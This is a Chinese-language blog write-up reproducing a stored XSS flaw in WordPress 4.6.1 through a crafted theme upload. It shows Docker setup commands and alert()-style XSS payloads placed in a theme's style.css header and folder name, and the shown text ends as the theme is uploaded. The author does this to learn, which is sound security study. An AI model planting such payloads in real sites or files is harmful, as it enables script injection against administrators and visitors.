Wordpress <= 4.6.1 Stored XSS Via Theme File

Wordpress <= 4.6.1 Stored XSS 漏洞复现

我多想再见你
哪怕匆匆一眼

​ 发现自己对web漏洞的一些点理解的还是不够深。所以准备复现一波web漏洞,加深自己对一些点的理解深度和巩固下知识!

0x00 漏洞概述

​ 首先,我们来了解下wordresssWordPress是一个以PHPMySQL为平台的自由开源的博客软件和内容管理系统,WordPress具有插件架构和模板系统,截至2018年4月,排名前1000万的网站超过30.6%使用WordPress[1]WordPress是最受欢迎的网站内容管理系统WordPress在最着名的网络发布阶段中脱颖而出。如今,它被使用在超过7000万个站点上。

WordPress用户可以安装和切换主题。主题可让用户不改变博客内容和结构的情况下更改界面和WordPress站点的功能。主题可以在WordPress的“外观”管理工具中安装,或者通过FTP上传至主题文件夹。也可以通过编辑主题中的PHPHTML代码自定义主题。而漏洞是一个后台存储型XSS漏洞,可以通过上传恶意构造的主题文件来触发。【上述内容来自维基百科】

0x01 环境搭建

​ 本来这个环境是很容易的搭的啊,但刚开始就是一直报错,到最后一直改了又改,最终还是

1
docker: Error response from daemon: Cannot link to a non running container

到最后一直改了又改,最终还是报错,无奈重新搭建,果然重建是第一生产力。

1
2
3
4
docker exec -it 0027a12dab6d /bin/bash  
vim /etc/mysql/conf.d/mysql.cnf
Redhat停止防火墙:service iptables stop
Ubuntu停止防火墙:ufw disable

最后终于搭建完成,命令如下

1
2
3
4
docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=fans0n -d mysql
docker run --name wp-wordpress --link wp-mysql:mysql -p 8080:80 -d wordpress:4.6.1

0x02 漏洞复现

​ 首先,我们先下载一个主题

1
2
wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip -x illdy.1.0.29.zip

​ 并且对其illdy/style.css进行如下更改:

1
2
3
/*
Theme Name: <svg onload=alert(1234)>
*/

​ 接着更改文件夹名字再打包:

1
2
mv illdy "<svg onload=alert(fans0n)>"
zip -r theme.zip "<svg onload=alert(fans0n)>"

​ 构造好之后我们登录后台上传该主题文件,同时开始动态调试。